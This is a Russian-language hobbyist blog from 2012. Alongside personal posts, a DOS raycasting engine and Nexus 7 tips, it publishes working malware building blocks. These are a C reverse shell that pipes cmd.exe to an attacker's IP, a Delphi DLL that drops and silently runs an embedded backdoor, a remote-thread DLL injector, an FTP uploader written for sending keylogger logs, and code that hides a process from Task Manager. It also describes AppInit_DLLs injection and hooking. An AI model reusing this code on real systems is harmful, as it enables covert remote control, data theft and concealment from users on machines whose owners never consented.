Общее·количество·просмотров·страницы

понедельник, 31 декабря 2012 г.

Последний пост в 2012.

Ну что друзья,вот и подошел к концу этот трудный, 2012 год.Сегодня, напоследок, я хочу выложить сорсы дампера биос вот к этой теме: тема.Вообще я хотел еще сегодня выложить микро наработку по загрузчику буткита,но мне кажется что я уже не успею потому что там еще только сектор написан и кусок джампера)))

Сорсы с комментами:



[bits 16]
segment code
..start:
mov ax, data ; настраиваем сегменты данных,стэка и его вершины.
mov ds, ax
mov ax, stack
mov ss, ax
mov sp, stacktop

mov dx, hello ; выводим сообщение
mov ah, 0x09
int 0x21

mov ah, 0x3C ; создаем файл через описатель
xor cx,cx
mov dx, fn
int 0x21
jnc createdfile ; если удалось-переходим к записи

mov dx, openerr ; если не удалось-оповестим о ошибке
mov ah, 0x09
int 0x21
jmp exit

createdfile:
mov [hfile], ax

mov bx, ax
mov ax, 0xF000 ; биос стартует отсюда
mov ds, ax
mov cx, 0xFFFF ; до сюда 
xor dx,dx
mov ah, 0x40 ; пишем в файл что по тем адресам
int 0x21
mov ax, data
mov ds, ax
jnc written ; удалось-записываем

mov dx, wrtnerr ; не удалось-выводим еррор
mov ah, 0x09
int 0x21

written:
mov bx, [hfile] ; закрываем файл
mov ah, 0x3E
int 0x21
jnc exit ; и выходим
mov dx, closerr ; ошибка закрытия
mov ah, 0x09
int 0x21

exit:
mov ax, 0x4c00 ; выход
int 0x21

segment data
hello: db 'I"ll dump bios to file', 0dh, 0ah, '$'
openerr: db 'File create error', 0dh, 0ah, '$'
wrtnerr: db 'File write error', 0dh, 0ah, '$'
closerr: db 'File close error', 0dh, 0ah, '$'
fn: db 'BIOS.ROM', 0
hfile: resw 1 ; описатель- слово

segment stack stack
resb 64 ; выделим под стэк 64 байта
stacktop:

Уходит пусть старый,злой год и приходит новый!


Всем хорошего праздника,позитива и веселья!УРА!!!


вторник, 18 декабря 2012 г.

Немного отдыха)

Ну вот я тут.скоро сессия,а значит необходимо отдохнуть и завтра я со своим другом уезжаем в Киев на концерт Мэрилина Мэнсона,хуххх пока еще сидишь в этом месте трудно представить масштаб происходящего)надеюсь все будет круто и мы отлично оттопыремся за эти 3 дня что я там буду.
ну,а как приеду,надо работать,очень надо.я задумываюсь над микро-пассивным доходом,я не могу уделять достаточное кол-во времени кодингу и исследованиям,нужно что то глобальное.
фиу,до встречи!)

UPD:
последняя работа-процесс отладки кейлоггера:
слушайте такую музыку 


суббота, 15 декабря 2012 г.

FTP upload на winapi

Взялся я тут за написание своего кейлоггера, логи решил отправлять на фтп, самый не плохой вариант по моему.С удивлением обнаружил что все что есть в интернете практически полностью реализовано на VCL, а так как я пишу логер на api то я не могу позволить себе использовать VCL, по этому я написал простую реализацию на ассемблере и библиотеке win inet которая поставляется в комплекте с вендой.


.386
.model flat,stdcall
option casemap:none

include include\windows.inc
include include\kernel32.inc
include include\user32.inc
include INCLUDE\wininet.inc

includelib lib\user32.lib
includelib lib\kernel32.lib
includelib LIB\wininet.lib

.data
file db 'C:\tes.txt',0 ; файл для залива
ftpfn db 'tes.txt',0 ; залитый файл

host db 'splashed.ucoz.ru',0  ; адрес фтп
login db 'login',0
password db 'password',0

agent db 'iexplore',0
hinet dd 0
hc dd 0


.code

start:

invoke InternetOpen,addr agent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
mov hinet,eax

invoke InternetConnect,hinet,addr host,INTERNET_DEFAULT_FTP_PORT,addr login,addr password,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0
mov hc,eax

invoke FtpPutFile,hc,addr file,addr ftpfn,FTP_TRANSFER_TYPE_BINARY,0

invoke InternetCloseHandle,hc
invoke InternetCloseHandle,hinet

invoke ExitProcess,0

end start

и мы не получаем вес как у коровы,а получаем 1.5 кб веса и работоспособный заливщик;)

среда, 12 декабря 2012 г.

Начинаем исследовать BIOS

Я появился хххххууууух.
4 дня я как тварь проел себе весь моск о том как же выдирать чертов биос и вот что я нашел:

1)биос таки попадает в память по адресу:
0F000h до адреса 0FFFFh.
именно это нам и надо читать.за 4 дня мне удалось извертеться так что пришлось использовать nasm для создания объектника и tlink для линковки в рабочую программу.

запустил я все это дерьмо на досе,который предварительно поставил на флешку.

И вот что мы имеем:



ванючий ром записывается!)))) еее у кого большие яйца?у меня большие яйца!хаха)

вот так вот.
сдампив свой биос я так же нашел в нем "сигнатуру" (ориентировка на китайский биос руткит)

такие вот дела.
скажем-с это первый шаг к автоматизации процесса шития биоса.
теперь сижу слушаю rage и думаю как все это дело под виндой запустить.может что то придумаю с запуском экзешника досового...если уж совсем лень будет.
да я ошибся когда думал что до адреса F000 не пустит. дальше FFFF не пустит.

такая вот херня.сорсы пока не выкладываю,они в уебищном виде,скажу только все оказалось проще чем я думал,но инфы крайне мало.после такого стресса я просто обязан отдохнуть немного,так что исходы через пару деньков;)
всем бай!

четверг, 6 декабря 2012 г.

конфа

Ну что,вроде все не так жутко рассказал)хотя пересмотрев кое-где оговорился)

http://www.youtube.com/watch?v=fPgqStAt_d4&feature=youtu.be
про aes хуйню сморозил от волнения наверное.
256 битный алго значить 32 байтный значить максимальный ключ 64 символа,такое думаю не поломают...днем еще оговорю где я херь наморозил...

фее мне сегодня 20 исполнилось ебжишь,жизнь окончена)

понедельник, 3 декабря 2012 г.

суббота, 1 декабря 2012 г.

немного о своем...

Фуф... на часах 2:17. Сижу в ванной,ноги парю,фэрвэкс пью,с подругой чатюсь...
В 12 звонил stokito, исправляли презентацию.через 10 часов я первый раз буду конференцию проводить,даже какое то волнение есть:-) спать как всегда 4 часа где то,потом надо бодрячком встать.

Есть у меня супер прикольная мысля в качестве очередного кодинга на асме,если найду аппаратуру все засвечу обязательно.так вроде все...настроение отстооойй. Споку.

среда, 14 ноября 2012 г.

reverse connect2

хух.наконец я тут.
нашел в себе силы сегодня продолжить.

Итак как я и говорил продолжаем идею.

пишем DLL на delphi.Но сначала берем хекс редактор и копируем код в массив на делфи.

получается что то такое:


data: array[0..7167] of byte = (
$4D, $5A, $90, $00, $03, $00, $00, $00, $04, $00, $00, $00, $FF, $FF, $00, $00, 
$B8, $00, $00, $00, $00, $00, $00, $00, $40, $00, $00, $00, $00, $00, $00, $00, 
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $E0, $00, $00, $00, 
$0E, $1F, $BA, $0E, $00, $B4, $09, $CD, $21, $B8, $01, $4C, $CD, $21, $54, $68, 
$69, $73, $20, $70, $72, $6F, $67, $72, $61, $6D, $20, $63, $61, $6E, $6E, $6F
.........................................................................................................................................................

дальше идея проста:
По DLL_PROCESS_ATTACH создаем файл,записываем в него массив,закрываем и запускаем.
вот и все.

простая процедурка:


procedure DLLEntryPoint(Reason: Integer);
var nw:cardinal;
h:thandle;
begin

case Reason of

DLL_PROCESS_ATTACH:
begin

h:=createfile('kon.exe',GENERIC_READ or GENERIC_WRITE,0,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);

writefile(h,data,sizeof(data),nw,nil);

closehandle(h);

shellexecute(0,'open','kon.exe',0,0,SW_HIDE);

end;

DLL_PROCESS_DETACH:;

DLL_THREAD_ATTACH: ;

DLL_THREAD_DETACH:;

end;

end;

begin

DLLProc := @DLLEntryPoint;

DLLEntryPoint(DLL_PROCESS_ATTACH); 

end.

теперь делаем инжектор в процесс.я не парился и взял Ms-rem'a


Function InjectDll(Process: dword; ModulePath: PChar): boolean;
var
  Memory:pointer;
  Code: dword;
  BytesWritten: dword;
  ThreadId: dword;
  hThread: dword;
  hKernel32: dword;
  Inject: packed record
           PushCommand:byte;
           PushArgument:DWORD;
           CallCommand:WORD;
           CallAddr:DWORD;
           PushExitThread:byte;
           ExitThreadArg:dword;
           CallExitThread:word;
           CallExitThreadAddr:DWord;
           AddrLoadLibrary:pointer;
           AddrExitThread:pointer;
           LibraryName:array[0..MAX_PATH] of char;
          end;
begin
  Result := false;
  Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
                           MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if Memory = nil then Exit;

  Code := dword(Memory);
  //инициализация внедряемого кода:
  Inject.PushCommand    := $68;
  inject.PushArgument   := code + $1E;
  inject.CallCommand    := $15FF;
  inject.CallAddr       := code + $16;
  inject.PushExitThread := $68;
  inject.ExitThreadArg  := 0;
  inject.CallExitThread := $15FF;
  inject.CallExitThreadAddr := code + $1A;
  hKernel32 := GetModuleHandle('kernel32.dll');
  inject.AddrLoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA');
  inject.AddrExitThread  := GetProcAddress(hKernel32, 'ExitThread');
  lstrcpy(@inject.LibraryName, ModulePath);
  //записать машинный код по зарезервированному адресу
  WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
  //выполнить машинный код
  hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
  if hThread = 0 then Exit;
  CloseHandle(hThread);
  Result := True;
end;

(копипаста с васма)
там хорошо объясняется что собсно делает код.
А именно-после загрузки dll в память будет выполнена ее точка входа- то есть наше DLL_PROCESS_ATTACH. останется только найти процесс для внедрения по запуску которого мы будем получать терминал у себя на машине с помощью такой вот функи

function GetPID(ExeFileName: string): dword;
var
  ContinueLoop: boolean;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
  UpEFN: string;
begin
  result:= 0;
  UpEFN:= UpperCase(ExeFileName);
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpEFN)
        or (UpperCase(FProcessEntry32.szExeFile) = UpEFN)) then
    begin
      result := FProcessEntry32.th32ProcessID;
      break;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

фух ну вроде все:)
такая вот прикольная штука получается;).


поэтапный алгоритм того что мы делали:
1)написали шелл(бэкдор)
2)скопировали его в хекс-коде в массив на делфи
3)написали библиотеку которая по загрузке в память выполняет свою точку входа
4)взяли инжектор,который смотрит запустился ли процесс(надо добавить) и если да то внедряет в него dll-ку которая выполняет наш бэкдор в итоге мы получаем терминал когда какое то действие произведено(то есть когда нам это конкретно надо)

вот такие вот извращения господа:)
всем доброй ночи.

понедельник, 12 ноября 2012 г.

reverse connect


Как обещал.сегодня я сказал себе:
стоп.хватит.хватит про*бывать время в п*зду.вставай.садись за комп.делай что то пид*рас.
наверное еще помогло сесть то что сегодня была только одна пара =Р
короче соль:я не помню где я узнал эту идею:мб спизд*л у кого,может само пришло в голову.
ну смысл вот в чем:
пишем шелл(бэкдор если угодно) который будет сам устанавливать соединение с машиной атакующего (реверс коннект).В чем соль спросите вы?-обход NAT за которым могу сидеть юзверы.
Пишем на сокетах.В виду того что я прочел  книженцию по "С", то теперь хочу потренироваться немного,так что код на си.за возможную криворукость в коде не бейте:)
Но это не вся идея.Я хочу сделать так: инжект ДЛЛ в процесс и тогда открытие терминала у "нас".
сегодня я напишу шелл, завтра докидаю длл.
Поехали.


#include <winsock2.h>
#include <stdio.h>

все что понадобится.

#pragma comment(lib, "Ws2_32.lib")

говорим компилю что нужна эта библиотека.


        SOCKET sock;
WSADATA wsa;
  
STARTUPINFO s_info; 
PROCESS_INFORMATION p_info;

         struct sockaddr_in sock_struct;


int   port=6667;
    char *ip="127.0.0.1";

переменные.дальше объясню что как.

сокеты это программный интерфейс, обеспечивающий обмен данными.

бывают клиентские и серверные.каждый процесс может создать серверный сокет и забиндить его к порту (как видно в переменных порт и айпи).

если допилить нормально этот бэк,то в айпи следует использовать "белый" для 100% коннекта в вашей машине.

Первым шагом идет проверка, присутствуют ли сокеты на машине.

есть пара версий сокетов, я использую 1.1

инициализация производится с помощью команды WSAStartup

WSAStartup(0x101, &wsa);

используется 2 аргумента- версия и указатель на структуру.

если все прошло гладко(я обойдусь без проверок,все таки я ленив ;)) то мы можем попробовать открыть сокет. ф-я WSASocket

sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,  NULL,  NULL);

у нее 3 действенных аргумента:семейство,тип и протокол.

протокол ясен пень transmission. Сокет бывает двух типов STREAM или DATAGRAM. Первый тип ориентирован на соединение,второй-отсылка пакетов.
нам подходит первое.В версии 1.1 доступно только одно семейство ;)

Остается последнее дело-установка соединения.Для этого нужно заполнить структуру SOCKADDR и создать процесс перенаправив потоки ввода-вывода в сокет,затем просто висеть.

            sock_struct.sin_port=htons(port);
            sock_struct.sin_family=AF_INET;
            sock_struct.sin_addr.s_addr=inet_addr(ip);

объясню:заполнить семейство-просто.а вот с ипом и портом чуть по иному.
порт это число,которое должно быть в сетевом порядке байт.преобразуем с помощью htons.
(подробнее в вики,там дохрена инфы).
в случае с ипом-нам нужен адрес,а адрес обычно в форме имя_домен.по этому опять нужно преобразовать.в сях есть ф-я которая быстро это сделает.

Все,производим коннект

connect(sock,(SOCKADDR*)&sock_struct,sizeof(sock_struct));

если прошло-надо заполнить структуру startupinfo (используется в связке с createprocess) что бы определить терминал.


        memset(&s_info,0,sizeof(s_info));
        s_info.cb=sizeof(s_info);
        s_info.dwFlags=STARTF_USESTDHANDLES;
        
        
        s_info.hStdInput = (HANDLE)sock;
s_info.hStdOutput= (HANDLE)sock;
s_info.hStdError = (HANDLE)sock;

устанавливаем размер структуры равный размеру структуры (ХАХА)
устанавливаем стандартный ввод-вывод-обработку ошибок данных.(важно что бы при таком заполнении параметр createprocess -fInheritHandles был TRUE).
и перенаправляем потоки ввода-вывода в сокет.

создаем процесс и зависаем


CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&s_info,&p_info);
WaitForSingleObject(p_info.hProcess,INFINITE);

Вот и все.Для проверки можно использовать нэткат:


ПОСТ СКРИПТУМ:

надеюсь завтра я не о*уею и доделаю идею до конца,потому что идея реально прикольная.

ПОСТ ПОСТ СКРИПТУМ:

ЗАЧЕМ УСЛОЖНЯТЬ ЖИЗНЬ?

скучаешь по кому-то? ---- ПИШИ КОД
хочешь встретиться? ---- ПИШИ КОД
тебя не понимают? ---- КОМПИЛЯТОР ТЕБЯ ПОЙМЕТ
есть вопросы? ---- ГУГЛ ТЕБЕ ОТВЕТИТ
не нравится что-то? ---- ТЫ-ДЕСТРУКТОР
нравится что-то? ---- ТЫ-КОНСТРУКТОР
хочется чего-то? ---- ПИШИ КОД
ЛЮБИШЬ кого-то? ---- #include <brain.h>







четверг, 8 ноября 2012 г.

лень

Короче я стал совсем ленивой свиньей.
когда я соберусь,доделаю заказы которые висят и т.д. и т.п. думаю сделаем так:
попробуем улучшить досовый двиг (натянуть текстурки на него).
Потом начнем небольшой курсик по OpenGL и двигло на opengl.
Потом (возможно) я буду доделывать (делать) ОС.
когда все это начнется не знаю,нет ни желания что то делать,ни в принципе моральных сил каких то.хочется спать,и просто валяться смотреть в потолок,думать.
обыденность заела,надо как то развеяться,а это у меня еще не скоро будет...


всем споки)

воскресенье, 28 октября 2012 г.

Создание псевдотрехмерного движка

Конечно движок это через чур загнуто сказано,ну оно похоже на движок:)

Побудило меня на это то,что я фанат серии игра дум и ее модов,портов и т.д.(короче дум-задрот).меня всегда влекла атмосферность этой игры и еще со школы я мечтал написать свое вульфенштейно или думо подобное двигло.
Вот и зародились у меня некоторые темы.

Язык: Си.
Среда разработки: борланд Си 3.1

Поехали.

Итак движок будет под ДОС как вы поняли и рисоваться он будет методом рейкастинга.

В чем суть методики.

Это преобразование супер просто формы данных (в нашем случае обыкновенная матрица) в псевдотрехмерную проекцию с помощью пускания лучей из точки обзора в ее объем.

Выглядит это вот так:
на первом куске- двумерная карта и точка обзора откуда испускаются лучи,на втором куске трехмерная(псевдо) проекция.
Особенности в том,что стенки будут всегда перпендикулярны полу.за счет этого этот метод выигрывает в скорости,так как можно пускать один луч для всего столба экрана.
А так же стенки будут представлять собой равносторонние квадраты.

размеры желательно принимать такие,что бы можно было представить двойку в степени,операции сдвига работают намного быстрее умножения и деления.

начнем писать код и походу дела его толковать.

из хидеров нам понадобится

#include<graphics.h>
#include<math.h>
#include<dos.h>
#include<conio.h>
#include<stdlib.h>

начальные переменные

float rad;
int scan, exitt=0,pres=0, speed=2, anglspd=3, curangl=-30;

тут понятно я думаю,скэн коды клавиш,выход,нажата клавиша,скорость движения по карте,скорость поворота в сторону,текущая позиция взгляда.

int KARTE[16][16]={
    {1,9,9,9,9,9,9,9,9,9,9,9,9,9,1},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,7,7,7,7,7,7,7,7,0,4},
    {9,0,0,0,0,7,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,7,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,7,7,7,7,7,7,7,7,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, 
     {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
      {1,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
    };
вот и сама карта,она размерами 16х16.
мы находимся в точке которая помечена зеленым и смотрим в сторону где помечено красным.



карта это матрица(двумерный массив,который будет проектироваться в псевдотрехмерный мир)
каждая цифра отличная от 0 будет стеной (пола и потолка нет,я это спиздил у вульфенштэйна :D) и каждая цифра же одновременно окрашивает стену в цвет в соответствии с цветами драйвера EGAVGA.Bgi (его присутствие,к сожалению,необходимо).

Теперь что касается управления

void interrupt (*oldint9)(); // указатель на первичное прерывание клавиатуры
void interrupt newint9()

перехватываем int9 (прерывание клавиатуры) и в новом обработчике ставим свои кнопки управления(стрелки)

выглядит это следующим образом:

static int kbrdvalue;
 scan = inportb(0x60); // будем читать скэн-коды клавиш
   if(scan == 1)
 exitt = 1; // эск- выход
   else
   {
     if(scan == 72) // стрелки будут клавишами перемещения
 pres = 1;
     else
     {
       if(scan == 80)
  pres = 2;
       else
{
if(scan == 75)
pres = 3;
else
  {
  if(scan == 77)
pres = 4;

      else
  {
  pres = -1;
пояснение в комментариях.
так же нужно сделать сброс контоллера прерываний клавиатуры,процедурку я нашел в тырнетах:

kbrdvalue = inportb(0x61); // сбросим контроллер прерываний клавиатуры, т.к. мы не одни в системе (хотя это и ДОС)
 outportb(0x61, kbrdvalue | 0x80);
 outportb(0x61, kbrdvalue);
 outportb(0x20, 0x20);

начинаем основную часть:

initgraph(&gdriver, &gmode, "C:\\bc\\BGI"); // инициализируем графич.режим

xmax = getmaxx();
ymax = getmaxy();
rad = 3.1415926535897932384626433832795/180.0;
vlx = xmax/fov;

получаем размеры экрана.затем нам понадобятся радианы,ну и в конце по алгоритму значение vlx будет переходом от столбца к столбцу.
FOV как вы поняли это field of vision равное 60 градусам (можно поиздеваться с градусами и получить прикольные наркоманские эффекты):)

теперь установим наши прерывания 
oldint9 = getvect(9); // для установки первоначального значения получим вектор прерывания клавиатуры
setvect(9,newint9);

ну и основной цикл:

    for(angle = curangl; angle <= curangl+fov;angle++) // получаем угол (в градусах)

    {
    if(angle<0)
            tmpangl = angle + 360;
    else
         {
          if(angle>360)
                tmpangl = angle - 360;
          else
                tmpangl = angle;
          }

                          // вычисляем расстояние от нас до стенки (это тоже взято из алгоритма)
    xb = sin(angle*rad);       
    yb = cos(angle*rad);         
    bx = px;                 
    by = py;
    l = 0;
    xbtmp = xb;
    ybtmp = yb;

     do {
     bx = bx + xb; // находим первое ближайшее пересечение (т.к луч идет в квадрат и сталкивается с точками)
     by = by + yb;
     l = l + 0.5; // отображение стенок (можно регулировать отдаленность)
     fy = (int)by/10; // примерное наше расположение в квадрате (можно где то от 8 до 12, что бы не застрять в стенке) (как вы поняли каждое значение-это еще один квадрат)
     fx = (int)bx/10;
     k = KARTE[fx][fy];
   }while(k == 0);

   dd = (2*ymax) / l; //высоты столбца

   hp1 = ymax/2-dd; // находим верхние и нижние точки откуда сможем отрисовывать столбцы
   hp2 = ymax/2+dd;

   setfillstyle(1,k);
   bar(x,hp1,x+vlx,hp2); // рисуем двухмерными прямоугольниками
   setfillstyle(1,ceiling);
   bar(x,1,x+vlx,hp1-1);       //потолок
   setfillstyle(1,ground);
   bar(x,hp2+1,x+vlx,ymax);       //пол
   setlinestyle(SOLID_LINE, 1, 1); // окантовка-сплошная черная линия
   setcolor(0);
   line (x,hp1,x+vlx,hp1);
   line (x,hp2,x+vlx,hp2);
   x = x+vlx;


   }
   // тут просто- если нажали- изменяем координаты и углы
    if(pres == 1)
        {
    
         px = px +speed*xbtmp;
         py = py +speed*ybtmp;
       
        }
 if(pres == 2)
{
px = px - speed*xbtmp;
py = py - speed*ybtmp;
}

  if(pres == 3)
 curangl -= anglspd;

  if(pres == 4) 
curangl += anglspd;

  if(exitt == 1) // если выход- выполняем восстановления векторов прерываний и перевод в первоначальный режим экрана
   {
   disable();
            setvect(9,oldint9);
            kbrdvalue = inportb(0x61);
            outportb(0x61, kbrdvalue | 0x80);
            outportb(0x61, kbrdvalue);
            outportb(0x20, 0x20);
            enable();
            closegraph();
            exit(0);
            }
}


}



вот и все!)
вот как выглядит это кривое отродие:

Я думаю его немного улучшить, но думаю максимум на чем я закончу это что натяну на него текстуры и усе)))
в прочем хочется еще попробовать на паскале поколдовать,есть алгоритм по сложнее,но и двигло получается более-менее не квадратное,в общем посмотрим как пойдет.
ну и под конец думаю сделать очень простой двиг на delphi с opengl или D3D рендером.А пока вот что имеем,и то уверяю что писать такое не совсем просто.

Спасибо за внимание).






суббота, 20 октября 2012 г.

jelly bean 4.1.2

Итак друзья,вышла обнова андроид.теперь он получил ландшафтный режим ориентации.
Пысы : при обновлении слетает рУт,так что не забудьте его восстановить:-) 

четверг, 18 октября 2012 г.

Вшитие ассемблерного кода в проект на delphi через объектник

Итак ребята,по этому счету я не нашел практически ничего (мб разучился гууууглить?))).
бывает когда возможностей BASM не хватает,а писать все на низком уровне нет ни времени ни желания,особенно у тех кто работает с malware.

Поэтому есть прекрасная штука по вшитию ассемблерного кода.
Чем этот метод хорош:все идет в куче,не надо никаких библиотек таскать.

Итак:

;messagebox
.386
.model flat,stdcall
option casemap:none

include include\windows.inc
include include\kernel32.inc
include include\user32.inc

includelib lib\kernel32.lib
includelib lib\user32.lib


.data
mes db 'HOW ARE YOU?',0
tit db 'MASM',0

.code

public testproc

testproc proc

invoke MessageBox,0,addr mes,addr tit,0
invoke ExitProcess,0

testproc endp

end

так у нас выглядит исходник.он немного отличается от стандарта:
нету метки старт,public описывает идентификатор, как доступный из других модулей.
дальше оформляем любой код в процедуру.

делаем только ассемблирование, линковку не проводим.

на выходе получаем file.obj

теперь конвертируем его программой coff2omf (в конце поста ссылка на скачивание программ)

затем полученный объектник еще раз конвертируем в понимаемый для делфи через omf2d

все.осталось только подключить объектник к нашей программе.

перед implementation указываем ф-ю
function testproc: dword; stdcall;
а после implementation
подключаем командой {$L name.obj}
function testproc: dword; stdcall; external;

и вызываем просто как процедуру
конец:)

ссылка на скачивание программ
http://splashed.ucoz.ru/coff2omf_omf2d.rar

PS:
друзья блог открыт для анонимного комментирования,если есть какие то вопросы,оставляем комменты,по возможности отвечу:)

воскресенье, 14 октября 2012 г.

Интернет!!!

Ура господа!свершилось то что нексус имеет инет через модем!
Требуется только ppp виджет.в нем настраиваем ваш модем в соответствии с оператором и жмем подключить!
все пашет и так в бюджетном планшете мы имеем все те недостатки,как память и интернет)))


пятница, 12 октября 2012 г.

Подключение периферии к nexus 7

Сегодня получил USB host (пришлось заказать,в городе не продают)
удалось примонтировать флэшку на 8 гб.Думаю можно и больше,думаю даже внешний хард можно примонтировать.
Завтра попробую зайти в интернет через 3G модем.

Для тех кто собрался купить нексус,но его останавливает факт отсутствия модема-не парьтесь,выход есть.
Выход это вот такой девайс. вставляем симку-раздаем wifi.
аккумулятор на 1.5К мАч. думаю на 4-5 часов работы его хватит.
стоит такой аппарат 400-600 грн,что в общем то и не дорого,интернет всегда с собой в любой точке.



воскресенье, 7 октября 2012 г.

вторник, 18 сентября 2012 г.

Сокрытие от ДЗ.Методы.


В общем как я говорил «завтра», но это вообще не завтра, а неизвестно когда, но вот сегодня выходит)))
Я не обнаружил совокупность методов сокрытия от ДЗ на уровне ring-3, поэтому решил сам все в кучу собрать. Итак речь пойдет о сокрытии из ДЗ windows.

инструменты:
1)ЯП (я использую ассемблер, делфи)
больше ничего.

Итак я знаю 3 метода сокрытия от ДЗ в ring3

1)Хак самого диспетчера задач(работа с его syslistview32)
2)Сокрытие путем перехвата функции ZwQuerySystemInformation
3)Инжект в процесс.

Так пожалуй начнем по порядку.

Хак диспетчера задач

Суть этого метода:

Каждый определенный интервал времени искать окно диспетчера задач.
При нахождении:
1)получить кол-во пунктов в listview
2)получить идентификатор потока(тот что создал этот лист)
3)открыть процесс который связан с этим идентификатором с определенными правами
4)выделить память в его про-ве.
5)перебирать все записи удаляя нашу программу.

переходим к кодесу:



program Project1;

{$APPTYPE CONSOLE}

uses
Windows,CommCtrl;

var
msg:TMSG;


procedure hide(TMlst:hwnd);
var
items,i: Integer;

buf: array[0..255] of Char;

PId: DWORD;
Process: THandle;
Point: Pointer;
NOBR: Cardinal;
Item: TLVItem;
S: String;

begin
items := SendMessage(TMlst, LVM_GETITEMCOUNT, 0, 0); // получаем кол-во пунктов в листе


GetWindowThreadProcessId(TMlst, @PId); // получаем идентификатор потока который создал лист

Process := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_VM_WRITE, False, PId); // открываем процесс с правами

Point := VirtualAllocEx(Process, nil, 4096, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE); //выделяем память в про-ве процесса


for I := 0 to items - 1 do // перебираем все записи
begin
item.mask := LVIF_TEXT;
item.iItem := I;
item.iSubItem := 0; // начиная с первого столбца
item.cchTextMax := SizeOf(buf);
item.pszText := Pointer(Cardinal(Point) + SizeOf(TLVItem)); // тут рез-тат

WriteProcessMemory(Process, Point, @Item, SizeOf(TLVItem), nobr);
SendMessage(TMlst, LVM_GETITEM, I, lparam(Point));
ReadProcessMemory(Process, Pointer(Cardinal(Point) + SizeOf(TLVItem)), @buf[0], SizeOf(buf), nobr); // читаем рез-ат

S := buf;

if (S = 'Project2.exe') // определяем какой итем затирать
then SendMessage(TMlst, LVM_DELETEITEM, i, 0);
end;
VirtualFreeEx(Process, Point, 0, MEM_RELEASE); // чистим за собой
CloseHandle(Process)
end;


procedure SearchTM;
var
TM, Lstv: HWND;
begin
TM := FindWindow('#32770', nil); // класс окна
if TM = 0 then exit;
Lstv := FindWindowEx(TM, 0, '#32770', nil); // первый список
Lstv := FindWindowEx(lstv, 0, 'SysListView32', nil); //список «процессы»
if lstv <> 0 then  hide(lstv); // если нашли то скрываем(удаляем)
end;

procedure timerproc; // процедура таймера, без комментариев
begin
searchtm;
end;

procedure goTimer(Interval:integer);
begin
asm
push offset TimerProc
push interval
push 0
push 0
call SetTimer
end;
end;

begin

goTimer(1); // тут понятно,запускаем таймер с минимальным интервалом
while (GetMessage(Msg,0,0,0)) Do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.


На этом с первым методом покончено.тут думаю никаких сложностей, алгоритм предоставлен, важные участки кода откоментированны.

2)Метод хорошо описан на васме. Операции выносятся в отдельную длл, я приведу пример dll не той что инжектится удаленными потоками, как писать такие перехваты я описывал в одной из своих статей.
Здесь будет речь идти о внедрении через реестр, так называемый метод AppInit_DLLs.

Метод, наверное, один из самых элементарных и заключается в модификации некоего ключа в реестре, и все библиотеки указанные в этом ключе загружаются в адресное про-во приложений использующих user32.dll, а это 99% приложений.

Все АПИ получения списка процессов обращаются к ZwQuerySystemInformation

Эта функция может возвращать различные классы информации, каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:

const // SYSTEM_INFORMATION_CLASS
  SystemBasicInformation                =           0;
  SystemProcessorInformation            =        1;
  SystemPerformanceInformation                 =          2;
  SystemTimeOfDayInformation                  =          3;
  SystemNotImplemented1               =          4;
  SystemProcessesAndThreadsInformation  =          5;
  SystemCallCounts                      =   6;
  SystemConfigurationInformation        =     7;
  SystemProcessorTimes                    =          8;
  SystemGlobalFlag                           =          9;
  SystemNotImplemented2               =          10;
  SystemModuleInformation                         =          11;
  SystemLockInformation                      =     12;
  SystemNotImplemented3                    =     13;
  SystemNotImplemented4                           =          14;
  SystemNotImplemented5                    =     15;
  SystemHandleInformation                          =          16;
  SystemObjectInformation               =          17;
  SystemPagefileInformation            =          18;
  SystemInstructionEmulationCounts      =   19;
  SystemInvalidInfoClass                =            20;
  SystemCacheInformation                =         21;
  SystemPoolTagInformation            =          22;
  SystemProcessorStatistics             =            23;
  SystemDpcInformation                   =          24;
  SystemNotImplemented6                    =     25;
  SystemLoadImage                       = 26;
  SystemUnloadImage                     =            27;
  SystemTimeAdjustment                  =          28;
  SystemNotImplemented7               =          29;
  SystemNotImplemented8                    =     30;
  SystemNotImplemented9               =          31;
  SystemCrashDumpInformation                  =          32;
  SystemExceptionInformation                     =          33;
  SystemCrashDumpStateInformation          =          34;
  SystemKernelDebuggerInformation           =          35;
  SystemContextSwitchInformation        =   36;
